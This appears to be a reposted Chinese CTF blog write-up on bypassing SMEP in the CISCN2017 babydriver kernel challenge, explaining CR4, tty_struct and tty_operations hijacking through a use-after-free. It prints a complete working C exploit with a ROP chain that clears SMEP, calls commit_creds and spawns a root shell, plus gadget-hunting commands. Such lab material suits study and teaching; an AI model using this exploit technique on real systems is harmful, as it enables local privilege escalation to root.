Linux kernel pwn (四): Bypass SMEP


前言

在我的这一篇博文介绍UAF的时候用到的是babydriver那一道题,那篇博文介绍的利用手法是修改cred从而get到root权限。但是除了这一种手法以外,我们还有另外一种手法:绕过SMEP保护,然后利用ROP。

前置知识

SMEP

smep的全称是Supervisor Mode Execution Protection,它是内核的一种保护机制,作用是当CPU处于ring0模式的时候,如果执行了用户空间的代码就会触发页错误,很明现这个保护机制就是为了防止ret2usr攻击的。
一般遇到内核pwn的时候,可以查看我们的启动文件有没有开启我们的SMEP保护:

linux_one@linux-one-PC:~/baby$ grep smep ./boot.sh
qemu-system-x86_64 -initrd rootfs.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' -enable-kvm -monitor /dev/null -m 64M --nographic  -smp cores=1,threads=1 -cpu kvm64,+smep -gdb tcp::1234

smep 和 CR4 寄存器

系统根据 CR4 寄存器的值判断是否开启 smep 保护,当 CR4 寄存器的第 20 位是 1 时,保护开启;是 0 时,保护关闭。

例如,当

$CR4 = 0x1407f0 = 000 1 0100 0000 0111 1111 0000

时,smep 保护开启。而 CR4 寄存器是可以通过 mov 指令修改的,因此只需要

mov cr4, 0x1407e0
# 0x1407e0 = 101 0 0000 0011 1111 00000

即可关闭 smep 保护。

ptmx && tty_struct && tty_operations

ptmx设备是tty设备的一种,当使用open函数打开时,通过系统调用进入内核,创建新的文件结构体,并执行驱动设备自实现的open函数。
具体细节可以参考: https://blog.csdn.net/liushuimpc/article/details/51610941
当一个用户对这个tty驱动被分配的设备节点调用open时tty核心使用一个指向分配给这个设备的tty_struct结构的指针调用它,也就是说我们在调用了open函数了之后会创建一个tty_struct结构体,然而最关键的是这个tty_struct也是通过kmalloc申请出来的一个堆空间,而kmalloc与UAF这篇博文讲的slab/slub分配器有关。也就是说,这个tty_struct可以被我们所控制。
下面是关于tty_struct结构体的一部分源码:

// Linux-4.19.65-source/include/linux/tty.h

/*
 * Where all of the state associated with a tty is kept while the tty
 * is open.  Since the termios state should be kept even if the tty
 * has been closed --- for things like the baud rate, etc --- it is
 * not stored here, but rather a pointer to the real state is stored
 * here.  Possible the winsize structure should have the same
 * treatment, but (1) the default 80x24 is usually right and (2) it's
 * most often used by a windowing system, which will set the correct
 * size each time the window is created or resized anyway.
 * 						- TYT, 9/14/92
 */

struct tty_operations;

struct tty_struct {
	int	magic;
	struct kref kref;
	struct device *dev;
	struct tty_driver *driver;
	const struct tty_operations *ops;
	int index;

	/* Protects ldisc changes: Lock tty not pty */
	struct ld_semaphore ldisc_sem;
	struct tty_ldisc *ldisc;

	struct mutex atomic_write_lock;
	struct mutex legacy_mutex;
	struct mutex throttle_mutex;
	struct rw_semaphore termios_rwsem;
	struct mutex winsize_mutex;
	spinlock_t ctrl_lock;
	spinlock_t flow_lock;
	/* Termios values are protected by the termios rwsem */
	struct ktermios termios, termios_locked;
	struct termiox *termiox;	/* May be NULL for unsupported */
	char name[64];
	struct pid *pgrp;		/* Protected by ctrl lock */
	struct pid *session;
	unsigned long flags;
	int count;
	struct winsize winsize;		/* winsize_mutex */
	unsigned long stopped:1,	/* flow_lock */
		      flow_stopped:1,
		      unused:BITS_PER_LONG - 2;
	int hw_stopped;
	unsigned long ctrl_status:8,	/* ctrl_lock */
		      packet:1,
		      unused_ctrl:BITS_PER_LONG - 9;
	unsigned int receive_room;	/* Bytes free for queue */
	int flow_change;

	struct tty_struct *link;
	struct fasync_struct *fasync;
	wait_queue_head_t write_wait;
	wait_queue_head_t read_wait;
	struct work_struct hangup_work;
	void *disc_data;
	void *driver_data;
	spinlock_t files_lock;		/* protects tty_files list */
	struct list_head tty_files;

#define N_TTY_BUF_SIZE 4096

	int closing;
	unsigned char *write_buf;
	int write_cnt;
	/* If the tty has a pending do_SAK, queue it here - akpm */
	struct work_struct SAK_work;
	struct tty_port *port;
} __randomize_layout;

而在这个结构体中,其中有另一个很有趣的结构体 tty_operations,源码如下:

struct tty_operations {
    struct tty_struct * (*lookup)(struct tty_driver *driver,
            struct file *filp, int idx);
    int  (*install)(struct tty_driver *driver, struct tty_struct *tty);
    void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
    int  (*open)(struct tty_struct * tty, struct file * filp);
    void (*close)(struct tty_struct * tty, struct file * filp);
    void (*shutdown)(struct tty_struct *tty);
    void (*cleanup)(struct tty_struct *tty);
    int  (*write)(struct tty_struct * tty,
              const unsigned char *buf, int count);
    int  (*put_char)(struct tty_struct *tty, unsigned char ch);
    void (*flush_chars)(struct tty_struct *tty);
    int  (*write_room)(struct tty_struct *tty);
    int  (*chars_in_buffer)(struct tty_struct *tty);
    int  (*ioctl)(struct tty_struct *tty,
            unsigned int cmd, unsigned long arg);
    long (*compat_ioctl)(struct tty_struct *tty,
                 unsigned int cmd, unsigned long arg);
    void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
    void (*throttle)(struct tty_struct * tty);
    void (*unthrottle)(struct tty_struct * tty);
    void (*stop)(struct tty_struct *tty);
    void (*start)(struct tty_struct *tty);
    void (*hangup)(struct tty_struct *tty);
    int (*break_ctl)(struct tty_struct *tty, int state);
    void (*flush_buffer)(struct tty_struct *tty);
    void (*set_ldisc)(struct tty_struct *tty);
    void (*wait_until_sent)(struct tty_struct *tty, int timeout);
    void (*send_xchar)(struct tty_struct *tty, char ch);
    int (*tiocmget)(struct tty_struct *tty);
    int (*tiocmset)(struct tty_struct *tty,
            unsigned int set, unsigned int clear);
    int (*resize)(struct tty_struct *tty, struct winsize *ws);
    int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
    int (*get_icount)(struct tty_struct *tty,
                struct serial_icounter_struct *icount);
    void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
    int (*poll_init)(struct tty_driver *driver, int line, char *options);
    int (*poll_get_char)(struct tty_driver *driver, int line);
    void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
    int (*proc_show)(struct seq_file *, void *);
} __randomize_layout;

可以看到,里面全是函数指针。
由于tty_struct是通过kzmalloc分配堆内存的,那么也可以通过UAF控制到这个结构体,进而伪造tty_operations结构体,劫持函数调用:

fake_tty_struct  fake_tty_operations
+---------+      +----------+
|magic    |  +-->|evil 1    |
+---------+  |   +----------+
|......   |  |   |evil 2    |
|......   |  |   +----------+
+---------+  |   |evil 3    |
|*ops     |--+   +----------+
+---------+      |evil 4    |
|......   |      +----------+
|......   |      |......    |
+---------+      +----------+

那么我们就可以通过不同的操作(如 write, ioctl 等)来跳转到不同的 evil 了。

利用思路

因为此题没有开kaslr保护,所以简化了我们一些步骤,但是在此方法中是我们前面的UAF,ROP和ret2usr的综合利用,下面是基本思路:

  1. 利用UAF漏洞,去控制利用tty_struct结构体的空间,修改真实的tty_operations的地址到我们构造的tty_operations;
  2. 构造一个tty_operations,修改其中的write函数为我们的rop;
  3. 利用修改的write函数来劫持程序流;

但是其中需要解决的一个问题是,我们并没有控制到栈,所以在rop的时候需要想办法进行栈转移。
这里引用师兄的一个做法:
用如下代码作测试,将tty_struct->tty_fops->write函数的指针改写为babyread的地址,最后通过write(fd_tty, *, *)来调用到babyread。

//gcc -static -masm=intel -g -o exp2 exp2.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <sys/wait.h>
#include <sys/stat.h>

size_t fake_tty_operations[0x20] = {0};
size_t fake_tty_struct[4] = {0};

int main(){
    
    int fd1 = open("/dev/babydev", 2);
    int fd2 = open("/dev/babydev", 2);

    // change the babydev_struct.device_buf
    // the buf_size = sizeof(struct tty_struct)
    ioctl(fd1, 0x10001, 0x2e0);

    // call babyrelease(), now we have a dangling pointer in fd2
    close(fd1);
    int fd_tty = open("/dev/ptmx", O_RDWR|O_NOCTTY);
    
    read(fd2, fake_tty_struct, 0x18);
    for(int i=0; i<0x20; i++) fake_tty_operations[i] = 0xffffffffffff0000+i ;
    fake_tty_operations[7] = 0xffffffffc0000130; // tty_fops->write = babyread
    fake_tty_struct[3] = (size_t)fake_tty_operations;// fake_struct->tty_fops = fake_tty_operations
    write(fd2, fake_tty_struct, 0x20); // overwrite tty_struct
    write(fd_tty, fake_tty_operations, 0x20); // call tty_fops->write

}

/*
babydriver.ko 0xffffffffc0000000

*/

gdb调试,在我们的babyread函数下断点,在第二次调用时停下查看此时的寄存器情况;发现这时候的RAX是我们的fake_tty_operations结构的地址,

然后通过栈回溯,发现函数的跳转是通过RAX作为基地址加上偏移所得到的:[rax+offset]


所以,我们可以利用 mov rsp, rax等gadget等gadget将栈迁移到fake_tty_operations这里,然后继续执行我们构造好的ROP。

gadget的提取

构造ROP链就需要gadget。这里的题目没有给到vmlinux,所以我们需要自己利用extract-vmlinux 提取:

./extract-vmlinux.sh ./bzImage > ./vmlinux

然后利用ropper或者ROPgadget这个东西去提取我们需要的gadget:

ropper -f ./vmlinux > ./gadget  或者 ROPgadget --binary ./vmlinux > gadget.txt
cat ./gadget.txt | grep "mov cr4"

最终EXP

//CISCN2017-babydriver
//sunxiaokong
//gcc -static -masm=intel -g -o exp2 exp2.c
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <sys/wait.h>
#include <sys/stat.h>

void get_usr_regs();
int get_kernel_addr();
void root();
void getshell();

size_t usr_cs, usr_ss, usr_rsp, usr_rflags;  // registers of user mode
size_t fake_tty_operations[0x20];
size_t fake_tty_struct[4];
size_t rop_chain[20];
size_t commit_creds;
size_t prepare_kernel_cred;

int main(){
    get_usr_regs();
    get_kernel_addr();

    int fd1 = open("/dev/babydev", 2);
    int fd2 = open("/dev/babydev", 2);

    // change the babydev_struct.device_buf
    // the buf_size = sizeof(struct tty_struct)
    ioctl(fd1, 0x10001, 0x2e0);

    // call babyrelease(), now we have a dangling pointer in fd2
    close(fd1);
    int fd_tty = open("/dev/ptmx", O_RDWR|O_NOCTTY);
    
    read(fd2, fake_tty_struct, 0x40);
    fake_tty_struct[3] = (size_t)fake_tty_operations;// fake_struct->tty_fops = fake_tty_operations
    for(int i=0; i<30; i++) fake_tty_operations[i] = 0xffffffff8181bfc5;;
    fake_tty_operations[7] = 0xffffffff8181bfc5; // mov rsp,rax ; dec ebx ; ret
    // fake_tty_operations[7] = 0xffffffff817a4aba; // push rax; pop rsp; pop rbp ; ret
    fake_tty_operations[0] = 0xffffffff8100ce6e; // pop rax ; ret
    fake_tty_operations[1] = (size_t)rop_chain;
    fake_tty_operations[2] = 0xffffffff8181bfc5; // mov rsp,rax ; dec ebx ; ret
    fake_tty_operations[3] = (size_t)rop_chain;
    
    int i = 0;
    rop_chain[i++] = 0xffffffff810d238d; // pop rdi ; ret
    rop_chain[i++] = 0x6f0;              // SMEP = 0
    rop_chain[i++] = 0xffffffff81004d80; //mov cr4, rdi ; pop rbp ; ret
    rop_chain[i++] = (size_t)rop_chain;
    rop_chain[i++] = (size_t)root;
    rop_chain[i++] = 0xffffffff81063694;      // swapgs; pop rbp; ret;
    rop_chain[i++] = 0;
    rop_chain[i++] = 0xffffffff814e35ef;      // iretq; ret;
    rop_chain[i++] = (size_t)getshell;
    rop_chain[i++] = usr_cs;                /* saved CS */
    rop_chain[i++] = usr_rflags;            /* saved EFLAGS */
    rop_chain[i++] = usr_rsp;
    rop_chain[i++] = usr_ss;
    write(fd2, fake_tty_struct, 0x20); // overwrite tty_struct
    char buf[8] = {0};
    write(fd_tty, buf, 8); // call tty_fops->write
   
}

/* save some regs of user mode */
void get_usr_regs(){
    __asm__(
        "mov usr_cs, cs;"
        "mov usr_ss, ss;"
        "mov usr_rsp, rsp;"
        "pushfq;"
        "pop usr_rflags;"
    );
    printf("[^.^] save regs of user mode, done !!!\n");
}

int get_kernel_addr(){
    char *buf = (char *)malloc(0x50);
    FILE *kallsyms = fopen("/proc/kallsyms", "r");

    while(fgets(buf, 0x50, kallsyms)){
        // fgets:read one line at one time
        if(strstr(buf, "prepare_kernel_cred")){
            sscanf(buf, "%lx", &prepare_kernel_cred);
            printf("[^.^] prepare_kernel_cred : 0x%lx\n", prepare_kernel_cred);
        }

        if(strstr(buf, "commit_creds")){
            sscanf(buf, "%lx", &commit_creds);
            printf("[^.^] commit_creds : 0x%lx\n", commit_creds);
        }

        if(commit_creds && prepare_kernel_cred){
            return 0;
        }
    }
}

void root(){
    (*((void (*)(char *))commit_creds))(
        (*((char* (*)(int))prepare_kernel_cred))(0)
    );
}

void getshell(){
    system("/bin/sh");
}

/*
babydriver.ko 0xffffffffc0000000

0xffffffff814dc0c3 : call [rax+offset]

0xffffffff810539b1 : pop rax ; xchg eax, esp ; retf
retf = pop rip; pop cs

0xffffffff81004d80 : mov cr4, rdi ; pop rbp ; ret

0xffffffff810d238d : pop rdi ; ret

0xffffffff8100ce6e : pop rax ; ret

0xffffffff81171045 : pop rsp ; ret

0xffffffff81020f11 : push rax ; ret

0xffffffff8181bfc5   mov rsp,rax ; dec ebx ; ret

0xffffffff817a4aba : push rax ; adc byte ptr [rbx + 0x41], bl ; pop rsp ; pop rbp ; ret

0xffffffff814ff52b : push rax ; or byte ptr [rbx + 0x41], bl ; pop rsp ; pop rbp ; ret

*/

参考

https://www.sunxiaokong.xyz/2020-02-14/lzx-bypass-babysmep/
https://bbs.pediy.com/thread-253455.htm
http://p4nda.top/2018/10/11/ciscn-2017-babydriver/
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/kernel/bypass_smep-zh/


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM